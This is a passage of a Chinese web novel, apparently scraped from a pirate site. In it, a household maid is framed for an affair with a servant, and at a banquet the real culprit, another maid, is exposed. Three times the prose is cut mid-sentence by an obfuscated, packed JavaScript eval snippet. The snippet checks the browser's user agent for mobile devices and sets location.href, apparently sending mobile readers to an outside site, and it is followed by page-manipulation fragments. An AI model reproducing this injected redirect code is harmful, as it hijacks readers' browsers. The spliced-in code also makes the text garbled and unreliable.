郭云静近日接二连三地被打脸，心里憋着一股气，愤怒带偏了心眼，自然就无法分辨是非，眼下满心都只为撞破了这桩丑事而得意，一心等着宴席散了，当着刘母的面抖落出来，好扬眉吐气。 是以，她被春雪拦下之后，暗中吩咐了马嬷嬷和黄三儿几句，又让黄三儿领着东西申时之后候在二门外听信，自己才领着春雪等人洋洋洒洒地往厨房去了。 马嬷嬷是个浸淫内宅多年的人，虽然仍觉得此事这般不甚妥当，但也无法，忙交待了侄子几句，自己赶在郭氏等人身后也去了。那黄三儿犹自沾沾自喜，做着美梦离了此间。 刺史府的规矩，凡是摆酒设宴之日，丫鬟仆妇们的穿戴皆是统一式样。这日，丫鬟们皆是秋香色的棉袄、外罩着天水碧的背心、下着灰棉布裙子，一眼望过去，身形差不多的丫鬟还真分不大清谁是谁。 上午在西楼传递茶水时，秦秋就亲眼见着管事姑姑好几次对着背影喊错人名。 转眼到了午膳时分，刘母见郭氏去了一趟厨房，回来时竟是红光满面，不由多看了她两眼。郭云静对上刘母的眼神，反而笑得更开怀了。她莲步轻移，附在刘母耳边，柔声请示：“母亲，膳食都已备妥，可要现在就传菜？” 刘母怔怔地点头，见对方扭头去吩咐底下人，她不禁纳罕，这是在厨房吃了龙肉不成？ 一时只见众丫鬟捧着各色食盒鱼贯而入，刘母心里忙撇下郭氏，转头示意木槿近前。木槿心知其意，矮身蹲在刘母身侧，悄声为她指出穿梭在席间的凝晖轩众人名姓。 刘母轻蹙着眉头，道：“那个就是秦秋？” 木槿看着正在为虞夫人上酒的背影，笑着颔首。 “你果然没诳我。”刘母不甚满意地又看了两眼，才扭头看向木槿，不解地说道，“她确实样貌不显，所以大郎当真是只放她在书房伺候，没旁的心思？” 木槿莞尔，道：“正是呢，我怎么会诳老夫人。听说大爷已将她拨去书房专管笔墨了。” 刘母又转头去看其他人，须臾又道：“青梧怎也不打扮得好看些，怎么说也是大房的人，就这么灰扑扑的，看着都没有平素来和熙堂回话来得精神。” 木槿心里咯噔一下，暗叹道，能不憔悴吗，谁能想到一块儿长大的人、同是微末之身，碧霄竟能下此毒手！ 不过，也许越是微末怯弱之人，越是会残害自己的同类，只因他们惧怕强者，刀尖根本不敢往上，只敢往下，在更弱者身上逞凶，什么世道！木槿几不可察地对着碧霄的背影冷笑一声，头顶又传来刘母的声音—— “那个鹊儿和喜枝倒是长得有几分伶俐。木槿，我瞧着，秦秋的身形和青梧倒有几分相像，这穿上一样的衣服啊，光看背影一时还真分不清谁是谁！” 木槿回过神来，笑着应和。 俄而开席，各家夫人便三三两两地起身敬酒，刘母又将丫鬟们撂下，与各府女眷说笑起来。 不多时，又有东楼的姑娘们被各家娘亲身边的人传唤而来，正楼的宴席之上更是繁花似锦、渐迷人眼了，刘母呵呵笑着合不拢嘴，又趁机向木槿使眼色，木槿会意，早有安排好的人小跑着往外书房去了。 外书房那边，刘从俭刚让小厮去厨房传话，摆了一桌小宴，三人将将才落座，就见丫鬟来禀，道是“老夫人让大爷去眠鹤院”。 尉迟延见刘从俭的脸上瞬间闪过一丝不自然，他不由抚掌大笑，笑完又拍着刘从俭的肩膀，道：“你去吧，有举年在此间陪着我，不算你失礼。快去，莫让老夫人久等。” 刘从俭睨着他，道：“你到我家来，还没拜见我家长辈，多少有些失礼，不如——” “别——”尉迟延挑眉看着他，道，“我这般俊美，又比你年少，若此时与你同去，还不把你衬得老帮菜一般！若是那样，只怕老夫人等不到明日就要将我赶出府去！做客的规矩，我懂！不能喧宾夺主！”说完自己撑不住，又拍腿蹬脚大笑一阵。 萧举年也被逗乐了，只是怕上峰尴尬，只好别开眼，强装镇定。 刘从俭无奈地瞪了尉迟延两眼，又假装没看到门边等候的丫鬟和小厮低头抖肩的模样，长叹一声，举步向外走去。 直至离了书房十数丈，他仍能听到里头传来尉迟延的爽朗笑声。 刘从俭踏进眠鹤院的正楼时，虞夫人正带着虞七娘在刘母席前敬酒。 众人都心知肚明今日这赏梅宴是为何而办，是以对刺史大人出现在宴席当中并无意外，无一不落落大方地起身行礼，刘从俭亦一一颔首回礼。 刘从俭一径走到刘母席前，离虞家母女不过数尺之遥，虞夫人尚可，虞七娘早就微微红了脸，半垂着头，但心里又止不住好奇，悄悄抬眼去打量这个阿耶口中常称赞不已的刘刺史。 跟满屋子女眷相比，面上最不坦然的反倒是刘从俭。他对着刘母行礼毕，不自在地轻咳两声，才道：“母亲唤儿子前来有何吩咐？” 刘母没好气地看着他，暗叹他问得太直白，但也只好笑着说道：“你呢，成日里忙着公事，没空陪我老婆子听戏，今日各家夫人陪着我老婆子赏雪看戏，她们的夫君或兄弟也都是在衙门为你效力之人，难道你不该过来替她们斟酒道谢？” 众人忙笑着推脱不用。 木槿一个眼色，她身旁的小丫鬟便将早已备下的酒壶和酒杯用托盘捧至刘从俭身前，刘从俭只好一手执杯一手提壶，依次挨桌去敬酒寒暄。 秦秋此时和青梧提着热水候在角落，见此场景不禁暗中发笑，也不知大人是敬同僚之谊，还是敬日后的岳母。 刘从俭敬完酒已是两刻钟之后，又到刘母席前奉承了两句，刘母才满意地放他走了。 一场赏梅宴，戏、酒皆如人意，宾主尽欢，酒阑茶毕，未时漏尽，众人便陆陆续续地离席告辞。冬日昼短，再过一个时辰就要天黑，刘母也不苦留，只笑着与众人约下吃年酒的日子，便遣郭氏和裴氏送客。 郭云静等了一晌，盼的就是散席，她脸上的笑意愈发深邃，挽了妯娌的手，亲自将众女眷送至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612661|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二门外，一时众人又都称赞一回二夫人的贤德。 裴明霜心底生出几分警惕，她这个妯娌她可是再清楚不过，今日这赏梅宴不经她手操办，以她素日为人，这宴席得出点纰漏才合她心意，此时又怎会如此殷勤地收尾？只是，到底是何事呢？裴明霜狐疑地侧过头去。 “弟妹，怎的了？我脸上有花不成？”郭云静偏过头，与裴明霜对视。 裴明霜也不躲闪，大大方方地迎着她一笑，道：“瞧着二嫂很高兴的样子，好奇罢了。” 郭云静咯咯笑出声来，挽着裴明霜的手往回走，道：“这赏梅宴办得漂亮，你我也着实辛苦，这会儿客人都送走了，席也散了，我这不是想着终于可以歇歇，可不就是高兴嘛！” 裴明霜笑笑，不再接话。 只是二人才走了没两步，裴明霜就听身边之人一声暴喝—— “谁？鬼鬼祟祟地躲在那里做什么？你们都愣着干什么？还不将人拿下，即刻打死！” 裴明霜被这一嗓子唬了一跳，定睛去看时，就见二房的小厮压着一个人，那人手里卷着一个包袱，被按着跪在地上叩头不止，嘴里不住地讨饶：“二夫人饶命！求二夫人做主！求二夫人成全小的和凝晖轩的青梧，小的和青梧两情相悦，求二夫人成全！” 裴明霜眼皮一跳，忙喝道：“都是死人吗，还不堵住他的嘴！青天白日的，你们就这么干站着由着他满嘴嚼蛆、胡乱喷粪不成？” 一旁的两个小厮听了，忙顺手挖了一捧混着雪的泥巴塞进黄三儿嘴里，那黄三儿犹呜呜个不住。 郭云静冷笑道：“弟妹果真好大的威风！比我还像当家奶奶！” 裴明霜挣脱郭云静的手，扯了扯嘴角，道：“二嫂说笑了，一个小厮敢在人来人往的二门上攀扯内宅女眷，传出去刺史府的脸面还要不要了？今日母亲高兴，我劝二嫂就按方才说的办，将他立刻打死了是正经。当然了，管家的是二嫂，这事还得二嫂定夺。宾客都已送走，我先回眠鹤院给母亲复命了。” 说完，她懒得去看郭云静精彩纷呈的脸色，领着自己的人头也不回地走了。 “二夫人，这人怎么处置？”两个小厮战战兢兢地问道。 黄三儿此时也顾不了那么多了，这已是他今日第三回听见“即刻打死”四个字，心里正暗自悔恨，早知如此，就趁机揩些油水、占点便宜就够，何必去提亲呢！他胆颤心惊地抬眼偷觑郭氏的脸色。 郭云静眼神凌厉地扫他一眼，其中暗含的警告不言而喻。她对着那两个小厮喝道：“押着他，随我来。” 说完，她又指着另外两人，道：“马上去书房请大爷，让大爷务必去眠鹤院一趟，就说老夫人有十万火急的事！” “这？”那两人一听，面露难色，脚底下犹犹豫豫的。 郭云静冷哼一声，道：“怎么？你们真忘了是谁在管家？” “小的马上去传话。” 暮色中，也不知是谁家的戏班子在排戏，敲了一记响锣，郭云静手一挥，领着乌泱泱一群人，浩浩荡荡地往眠鹤院走去。 好戏登场！她如是想道。 24. 第二十四章 因着刘从俭的中途缺席，眠鹤院的席都散了，外书房的三人才到攘袂持杯、酒酣耳热之际。三人正推杯换盏，忽见两个小厮行色匆匆地又来通禀，尉迟延多喝了几杯，翘着舌头问道：“怎又来请？我问你，席散了吗？可还有女眷在场？” 那小厮见问，忙一五一十地答了。 尉迟延笑道：“我晓得了，定是老夫人听到了风声，知道我来了。走，我随你去拜见老夫人！” 萧举年喝得最为克制，小厮话音刚落，他就推开两扇窗户，北风裹着雪粒吹进屋内，刘从俭清醒了一大半，二人喝了一大碗酽茶，又强行灌了大半碗给尉迟延，三人脸上的酒意片刻就消退了七八分，各自起身整整衣冠，并肩往眠鹤院去了。 刘母在席散后并未急着回和熙堂，她叫木槿移了一张暖榻到窗户根底下，笑着携了郭母的手，亲家两个面对面坐了，拥着手炉说着闲话，一面赏梅，一面看丫鬟仆妇们收拾桌椅陈设。 郭云喧从花瓶里抽了一枝嫩条，拿在手上逗猫。刘母二人不时又去看她戏耍，正看得有味，就见着裴明霜领着三房的人回来了。 刘母笑着向她招手，道：“来，过来坐，这儿坐着有趣。怎么两个人出去，只你一个回来？你二嫂呢？” 裴明霜在回来的路上已猜出了八九分，不用想，那个小厮敢在这样的日子等在二门外胡咧咧，定是得了郭氏的授意。郭氏的心思也不难猜，只凭凝晖轩三个字，这郭氏定是想在婆母面前打大伯的脸。 蠢货！真是一个蠢货！也不动动脑子，莫说青梧的为人不会做下这等事，即便此事是真的，跟大伯有何相干？这么当面锣对面鼓的，她当旁人瞧不出她那点小心思？ 裴明霜不想被人当枪使，便将真话掩过不提，只笑着扯了一些闲话。 郭云喧在旁边一听便知，只怕是长姐小心眼的毛病又犯了。 郭母略带歉意地笑了笑，郭云静非她亲生，性子又执拗，未出阁时就不大好相处。 倒是刘母，见郭母神色略有不自在，忙拍着对方的手，笑道：“这宴席闹了一天，想是管事们积了一堆的事找她回话呢。” 裴明霜忙顺势说道：“母亲在这儿也闹了一天，该早些回去休息是正经。这梅花树又不长脚，跑不了，亲家太太虽长了脚，可咱们把人扣住了，也跑不了，母亲想和亲家太太赏梅呀，明日也使得的。不如我送母亲回和熙堂吧，咱们走了，丫鬟们收拾起来也更便宜。” “好，好，依你！”裴氏三两句话将刘母哄得开怀大笑，连郭母也撑不住笑了。 这厢，刘母扶了裴氏的手才要起身，那厢，郭氏已经领着人到了院门口。 “母亲！哎呀呀，母亲！出大事了！”郭云静人未至，声先闻。 刘母重又坐下，不悦地看着狂奔入内的那人，皱起了眉头。 郭云静着人将黄三儿押着院外等候，自己先粉墨登场，作出一副惊慌的模样，直扑刘母跟前。 等人近前，刘母也顾不得郭家母女还在场，忍不住轻斥道：“作什么样子？你也是当家理事的二夫人，什么了不得的事要作出这副姿态？当着满院的人，仪态体统都不要了？” 郭云喧已踱步到郭母身边，扶了她的手，轻轻地摇头，示意自己阿娘不要理会。她倒是好奇，长姐这是唱哪出。 正在西楼收拾金银器皿、杯碟茶器的丫鬟们见二夫人这般失态，又见院门外还围了好些人，也都心生好奇，有年纪小的不禁偷偷跑到门前窥探一二。 紧随郭氏身后跨进院门的春雪，早在踏入院门的一刹，就去寻青梧的身影。青梧听到郭氏动静的一瞬，亦是心头狂跳、似有所感，正惊疑不定，就撞上了春雪的眼神。春雪对着她，把头一点，又用下巴轻点了一下屋外，才追着郭氏进正楼去了。 虽然早有准备，但是青梧仍是心悸神慌，一个站立不稳就打了一个趔趄，被秦秋迎面接住。青梧对上秦秋沉静似水的眼眸才渐渐心定下来，秦秋微一勾唇，附在她耳边说了几句话。 青梧一惊，睁大眼睛看着对方，只听秦秋低声道：“他既挑了今日，也是老天爷助我们，放心，等会儿就按我说的办。” 青梧紧张地攥住她的手，道：“可是这样，对你——” 秦秋摇头，道：“你放心，这样一诈，更显得他谎话连篇、漏洞百出。” 碧霄亦是魂不守舍，她既想知道门外被逮住的是不是黄三儿，又怕对方认出她来。 忽然，喜枝神秘兮兮地小跑进西楼，低声对着众人说道：“我看清了，院门外押着一个小厮模样的人，手里抱着一个蓝绸包袱，被堵了嘴说不出话。想必是偷了东西了。只是奇怪，二夫人为什么要把他押来这儿啊？难道是里应外合，他还有做贼的同伙在这儿不成？” 碧霄手一抖，手中的银调羹砸落在地，惹来众人侧目。 她一张脸全白了，勉力扯出一个笑来，道：“手滑。”后背却是已经开始冒汗，这个黄三儿怎么回事？去青梧家提亲不就成了，怎么还能闹到这里！ 正楼那边，郭云静已经说书一般将黄三儿和马嬷嬷的话又照搬了一遍，末了，还不忘假惺惺地叹道：“若是二房的丫鬟私相授受，我或打或卖早发落了，只是与这黄三儿做下丑事的是凝晖轩的人，母亲前阵子才让我不要管凝晖轩的事，我只好将人拿了，来讨母亲示下。” 刘母听完，脸色阴沉得像覆了一层霜。 木槿在一旁时刻留神，见状正要说话，门外却先传来一道沉闷的男声—— “什么叫做下这等丑事的是凝晖轩的人？” 屋内各人闻声去看时，就见刘从俭冷着一张脸走了进来。在他身后，还跟着两个人，右边的萧举年众人自是认得，左边那位倒是面生得紧。 那人二十五六岁模样，生得蜂腰猿臂、鹤势螂形，眉眼间难掩英武之气，旁人还未待如何，他已经一个箭步、单膝跪在刘母身前，道：“给老夫人请安！老夫人一向身子可好？老夫人越发雍容贵气了，晚辈瞧着，您比画上的观音还要面善呢。” “哈哈哈！”刘母脸上才结的冰瞬间就化了，她忙笑说道，“大郎，还不快替我扶尉迟小将军起来？才几年不见，六郎竟貌胜潘安了！你母亲可安好？尉迟刺史可好？” “都好，都好，我母亲也常惦记着您呢！这不，特意打发我来在您跟前尽些孝心。从俭兄方才还想赶我走呢，老夫人可得替我做主啊！” 刘母呵呵笑着，嗔了刘从俭几句。 郭云静恨得牙痒痒，她的事儿还没说完呢。瞅了一个空隙，她又忙问道：“母亲，儿媳方才说的事，您看——” 郭云喧眼底泄出一丝冷笑，愚不可及！哪有当着客人的面抖露家丑的？ 果不其然，刘母神色一敛，射向郭氏的眼神含着刀片。 刘从俭哂笑一声，道：“我方才没听全，只听得最后一句，想问问弟妹，凝晖轩何人做下丑事了？” “大郎，你先带六郎下去休息，内宅之事，我自有道理。”刘母仍顾念着外人在场。 不料，尉迟延为人最是急公好义，此前在梅园无意间听到了郭云喧的私事，他还恨不能打抱不平，此时又怎会错过这桩公案！他忙说道：“老夫人，我又不是外人，我最爱听旁人断案了。您别赶我走啊，让我一块儿听听。说不得又是什么曲折离奇的冤案呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624743|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郭云喧掩袖，遮住唇边的笑意。 郭云静脸色一僵，这个尉迟六郎怕不是来捣乱的！ 刘从俭的眼神又添了三分威严和压迫，盯着郭云静，道：“弟妹？” 郭云静扶着春雪的手，三言两语地又将黄三儿一事说了一遍，道：“青梧是大伯身边的人，与一个小厮私相授受，大伯既然来了，不如就交由大伯处置吧。” 刘从俭拧着眉头，似乎在思索郭云静这话的真假，说实话，他起初倒是以为郭云静要说的是秦秋，毕竟秦秋是帮他写账册的人，最有可能遭二房忌恨，竟然是青梧…… 萧举年一直垂首静默，听完郭云静的话，他忽然心念一动，莫非这就是秦秋前日说的要命的事？ 是时候了！木槿深吸一口气，猛地双膝跪地，道：“回老夫人，回大人，奴婢有话要说。” 刘母吃了一惊，不明所以地看着她。 刘从俭略一沉吟，道：“你说。” 木槿不看任何人，只看着刘母和刘从俭，一字一顿地说道：“奴婢认为，二夫人是受了小人的蒙蔽——” “木槿你——”郭云静气急败坏。 “你闭嘴！听她说完。”刘母喝道。 木槿继续：“这个黄三儿，府里下人无人不知的，是个游手好闲、惯会偷巧耍滑的人，因为整日里只知喝酒赌钱，所以耽误到三十来岁都无人愿意与他结亲。这样的一个人，府里的丫鬟人人避如蛇蝎，但凡长了眼睛的，都不会看上他，更何况是青梧？这黄三儿是二房的人，奴婢说句不中听的话，青梧若是想去二房，何必挑这个黄三儿？”说完，意有所指地看了郭氏一眼。 那意思不言而喻，谁不知道二爷好色，青梧即便是想私相授受，随便冲二爷勾一指头不就成了？现放着二爷不去勾搭，去勾搭一个小厮？ 刘母的脸色缓和了几分，木槿说得在理。青梧和碧霄，即便不给儿子做姨娘，在这府里也还有别的选择。 郭云静气个倒仰，她咬着牙，道：“木槿，话可不能这么说，我拿住黄三的时候，他可还有凭证呢，有青梧绣的手帕，还有贴身的小袄和袜子，若不是青梧给他的，难道还是他进凝晖轩偷的？” 郭云静不曾留意，当她说到“贴身的小袄和袜子”时，郭云喧眸中一闪，露出少许玩味之色。 木槿眼带恳求地看向刘母和刘从俭，道：“老夫人，大人，奴婢认为，二夫人说的话也不无道理，说不得就是黄三儿偷的呢？” “你——”郭云静一张嘴就被刘母瞪了回去。 “可巧，今日凝晖轩人人都在眠鹤院当差，与黄三儿私相授受的到底是谁？抑或这一切都是黄三儿编出来的，偷了内宅的东西又胡乱攀扯？奴婢拙见，不如让黄三儿与凝晖轩众人对峙，到底是偷是抢，抑或是有别的内情，当面一审便知分晓。奴婢不为旁的，只因兔死狐悲、物伤其类，今日能有黄三攀扯青梧，明日说不得就有什么黄四黄五来攀扯别人，求老夫人为我等做主！” 郭云静已跳将起来，指着木槿骂道：“好一张利嘴！先是句句不离二房，现在又字字都是攀扯，你言下之意，便是我指使人做局了？” “你闭嘴！”刘母怒喝一声，“木樨，站去二夫人旁边，看住她，没我的命令，她不许说话！她若张嘴，你就给我捂住她的嘴！记住了，她若再发出一点儿声响，我便罚你三个月的月钱！”说完，她看向刘从俭。 刘从俭笑了一声，道：“儿子觉得，木槿说得在理，就这么办！来人，将黄三儿堵了嘴押进院子当中跪着，让凝晖轩的人都出来，在那儿站成一排。我许久不曾亲自审案了，今日倒是要看看，这家贼是谁！” 25. 第二十五章 眠鹤院正楼的门窗大敞，刘母坐在正首的楠木椅子之上，其他女眷或坐或站，分侍两旁。郭云静被拘在刘母身侧，木樨不敢有丝毫松懈，紧紧地盯着这位二夫人。刘从俭背着手站在楼前的水墨石阶上，黄三儿被押着跪在他身前，凝晖轩众人垂首站了一排。 十几个丫鬟站在那儿，一样的服饰、相似的身形、各个低垂着脑袋，黄三儿只抬了一下头就又被人按住了脑袋，只那一眼，他根本分不清谁是谁。 青梧站在靠中间的位置，秦秋紧紧挨着她。远远地瞧过去，二人确实难以分辨。可萧举年仍是一眼就认出了秦秋，他心里替她捏着汗。 刘从俭一眼扫过去，声音低沉有力：“青梧，地上跪着的这人说认识你，你可认识她？” 屋内的女眷齐齐看向青梧，却见她身边的人走了出来，郭云静呼吸一滞，才张开嘴，就被木樨捂了上去。 刘母眼中精光一闪，瞬间明了，好聪明的丫头！只这一下，私相授受之事定是诬陷无疑了！她冷冷地撇了一眼身侧的郭氏。 裴明霜也无声地笑了一下，看向郭云静的眼里尽是嘲讽。 郭母不清楚内里，只是她也是认识青梧的，郭云喧喜欢青梧的针线活，她在清渊阁见过那丫鬟几次，眼下走出来的人显然不是青梧，她有些糊涂了，看向小女儿，却见小女儿勾唇一笑。 庭院中的好戏才刚开场。 众人只见秦秋走到黄三儿身前站定，仔细地辨认片刻，才对着刘从俭恭声说道：“回大人的话，婢子不认得他。”说完，又转向黄三儿，问道—— “你说你认得我？” 黄三儿一听声音就意识到了不对，他被两个小厮押着，费力地仰起脖子，看到秦秋的脸时，他的脸上依次闪过错愕、震惊、慌乱，六神无主之下扭头欲寻郭氏的身影，木槿脚步一错，挡在郭氏身前。 刘从俭喝道：“放肆！你的眼睛是不打算要了吗？这是往哪儿看呢！” 黄三儿吓得一个哆嗦，立时收回了目光，躲闪之间他又撞上刘从俭骇人的眼神，他慌了，心知自己怕是着了道了，那个丫鬟也不知是谁派来害他的，但此时已不容反悔，私相授受顶多或打或骂，若是其他的，可就…… 于是，他一咬牙，看着秦秋，深情地喊道：“青梧妹妹，我晓得你害怕！你莫怕，一人做事一人当，今日是我莽撞，我活该，我便是被打死了，做鬼也不会埋怨妹妹半句。我晓得妹妹心里有我，咱们这一世不能做夫妻，来世再续今生缘！” “我心里有你？”秦秋笑了，勾着嘴角，道，“我可连见都没见过你，你说我心里有你？” 此刻，除了碧霄站在最末的角落瑟瑟发抖，以及郭云静被捂着嘴呜呜个不住，其余人等都已经是抱着看戏的心态看着院中对峙的两人。 黄三儿喊道：“若是妹妹心里没有我，怎会送我手帕？” 对啊，这帕子是怎么到黄三儿手上的？屋内众人面露疑惑。 却听秦秋扑哧一笑，随即从袖中抽出一条手帕展开，问道：“你说的该不会是这个吧？” 黄三儿见对方大大方方地抽了一条帕子出来，正是自己那日抢过来的式样，倒是有些摸不着头脑了，可不管怎样，先咬死她再说，他忙不迭地点头，口内称道：“妹妹送给我的定情信物难道也忘了吗？妹妹还说，因为妹妹的名字里有个梧字，所以特意在帕子上绣上梧桐叶。” 秦秋将那手帕一甩，云淡风轻地说道：“哦，这帕子，我绣了好多条，这府里好些丫鬟都有，也许是谁掉落的也未可知。反倒是你，什么时候进了内宅？又是在何处何时捡到的帕子？捡了丫鬟们的东西不上交给管事姑姑，反倒来污蔑我的清白，合该被打死！” 随着秦秋的话一落，凝晖轩的鹊儿和鸾枝双双掏出了一条绣着梧桐叶的帕子，一个擦了擦嘴，一个拭了拭鼻尖，不管是哪个，正楼里的人也都看清了那帕子上栩栩如生的叶子。 木槿亦适时说了一句：“青梧的确喜欢在手帕上绣梧桐叶，这帕子，她也送过我两条。” 萧举年叹为观止，想笑又不敢笑，若是此时无人，他定是要为秦秋击掌叫好的。 其实，事情至此，真相已经大白，私相授受是假，污蔑倒是真。 可黄三儿不知情，他以为眼前的秦秋是青梧，横竖今日不能善了，若是不能把青梧咬死，他不仅是在内宅诽谤生事，还得落个偷盗的罪名。为奴者在主家偷盗可是要杖一百流徙一年的！ 把心一横、嘴一歪，他继续说道：“妹妹好狠的心，我都说了不会牵连妹妹，可妹妹竟连你我之情都要否认吗？！我纵然能捡手帕，难道还能捡妹妹的贴身衣物不成？这包袱里的小袄和袜子，难道是自己生了翅膀飞到我怀里的不成？” 众人面色微变，心里暗叹，这确实可疑，定是有人里应外合了，可怜了这青梧的名声！贼人好毒的心思！纵使不是青梧做下的，有了这层疙瘩，这青梧日后不管嫁谁，难保夫家不翻出此事来嚼舌头。 秦秋微微一笑，垂眼对着正楼诸人说道：“凝晖轩昨日失窃一事，院内人人皆知，我们还回禀了管事姑姑，道是被窃取的两件衣裳衣料贵重，奴婢们折赔不起。说来也奇怪，那两件衣裳放在卧房之内，那屋子只有青梧和碧霄住，我们等闲都是不进她二人的屋子的，贼人会是谁呢？” 黄三儿这下傻眼了，什么意思？这话里的意思是，她方才与自己说了半天，合着她不是青梧？可她不是青梧？那她是谁？青梧到底又是谁？黄三儿彻底慌了，他觉得刺史大人看他的眼神像是在看一个死人。黄三儿瘫软在地，如烂泥一般。 刘母面如金纸、眼冒火星，看向凝晖轩诸人，碧霄死命地压着头，隔着老远，刘母也能看出她抖如筛糠。 是时候了！青梧猛地抬头，众人只见她泪流满面，扭头垮出几步扑向碧霄，将人死死拽住，一个拼命拽一个死命躲，二人拉扯着跪倒在刘从俭面前。 青梧大哭道：“求大人做主！求老夫人做主！” 看着面白如纸、瑟瑟发抖的碧霄，院中诸人还有什么不明白的。 “我不是，我没有……”碧霄在做最后的挣扎，声如蚊蚋。 青梧转过脸，发狠地盯着碧霄，一字一句地控诉：“碧霄，事到如今，你还不承认吗？那你敢起誓吗？此事若是我诬陷你，就罚我容颜尽毁、永不得进内宅一步！若是你做下的，就罚你生生世世都是最粗等的杂役、永不得良配！你敢吗？” “我——”碧霄张开嘴，又闭上了，心虚地躲开青梧的眼神。 “碧霄啊碧霄，我承认，我与你素来不和，可我除了偶尔与你拌嘴，我何曾害过你？你五岁那年被卖进府里，你我幼时也有相伴之谊，又同在凝晖轩共处十年，你我认识二十年！二十年啊！碧霄，你是怎样的心肠，才能对我下这种毒手！” 青梧一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654320|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面哭一面诉，说到这里已哭着伏倒在地。 碧霄跪在地上，摇摇欲坠，她看向刘从俭，唤道：“大人，大人救我！大人，我的一片痴心你当真不晓吗？我只是想，我只是想留在大人身边而已！” “是她！东西是她给我的！我没有偷盗，大人，我没有撒谎，是她说她叫青梧的，手帕和衣裳都是她给我的！”黄三儿一眼认出了碧霄，指着对方高喊。 刘从俭厌恶地看了他一眼，不耐烦地挥手，道：“堵了他的嘴，先押出去！” 等眠鹤院内重归于静时，刘从俭才转过脸，看向刘母，母子二人隔空对视片刻，刘从俭沉声说道：“外面那杀才，可依律法处置，杖一百，流边一年，母亲觉得如何？” “依你。” “碧霄是母亲的人，母亲想怎么处置她？” “大人！”碧霄哭喊着扑向刘从俭脚边。 刘母叹息一回，道：“发落去庄上，让她在那儿自己挑个人成婚，永不许再进内宅伺候。你觉得如何？” 碧霄扑在刘从俭脚边，双手环抱住刘从俭的右腿，满面泪痕地摇着头，嘴里不住地念着：“大人，我只是想永远留在你身边啊！她们都不配，她们都不配！” 刘从俭面无表情地将腿抽出来，道：“就依母亲所言。来人，将她押下去，明日就送出府去！” 两个婆子得令就来拖拽碧霄，碧霄奋力地挣脱二人的手，忽然疯了一般大喊道：“凭什么？当日，是老夫人你说要提我当姨娘的，如今又凭什么这般发落我？我尽心尽力伺候了你十年，又服侍了大人十年，你们早该许我名分，若不是你们这般对我，我怎会落到今日这般田地？” 刘母的脸色阴沉得要结冰，闻言喝道：“碧霄，你也不看看你自己今日是何模样，如此歹毒，还敢派我的不是？” “我什么模样？哈哈哈，我什么模样？”碧霄癫狂大笑，道，“我明明比夫人温柔小意，我明明比青梧贤良得体，还有什么郭姑娘虞姑娘，她们一年到头连根针都不拿，我明明比她们针黹出众，我明明比她们都配的上大人，为什么，为什么你们非要这么对我！” 郭母脸上浮出愠色，这个疯子，死到临头攀扯她的女儿做什么？她看向郭云喧，目露忧色。 尉迟延一直看戏看得津津有味，闻言，他忙好奇地去寻郭二姑娘的身影，在梅园时就想知道她是何模样，刚才忙着看院子里的好戏，几乎忘了这茬。 郭云喧冷笑连连，击掌叹道：“你倒是会强词夺理！” 说完，郭云喧轻蔑地瞥了一眼碧霄，转头对着刘母说道：“老夫人，论理，我和母亲来贵府做客已是叨扰，对贵府家事本不该插嘴，只是这丫鬟的话着实荒谬，我不得不教训几句，好教她死得明白，希望老夫人勿怪晚辈无礼。” 刘母略带歉意地一笑，道：“让亲戚们看笑话了。你且说！” 郭云喧脸上挂着笑，眼神却满是冰冷和嘲弄，她向着屋外走去，朗声道：“听闻刺史夫人在世时，贵府上下无人不赞其贤良，你方才说什么，你跟一个当家夫人比温柔小意？你的针线活很出众？可是前些时日，我有一件裙子坏了，贵府针线房的绣娘都补不了，却齐声说凝晖轩的青梧或许能补，无人提你碧霄，你方才说什么，你跟青梧比贤良？我自幼读书识字，不敢说学富五车，但也是腹藏千卷，你方才说什么，你跟我比针线活？哈哈哈，碧霄，你可真是会比啊！” 26. 第二十六章 郭云喧一席话说完，众人无不讥笑出声，人人都对碧霄露出鄙夷之色。 碧霄被怼得哑口无言，羞得满面紫胀，慌乱地别开眼，不敢再去面对屋内众人，只是一扭头，却又看见并肩站在不远处的青梧和秦秋。 就差一步，只差一步！若非黄三儿太蠢，把这事闹到眠鹤院，她就成了！碧霄一双眼喷出火来，她满腔愤怒，心头闪过一念，不甘心地嘶吼：“纵使我被发落出去，青梧你也别想好过！老夫人，青梧名声已毁，她也不能当姨娘！哈哈哈，她也不能！她的衣裳被一个下三滥碰过了，大人不能丢这个脸面！” “你们愣着做什么？还不堵上她的嘴，关去柴房！”刘从俭厉声喝道。 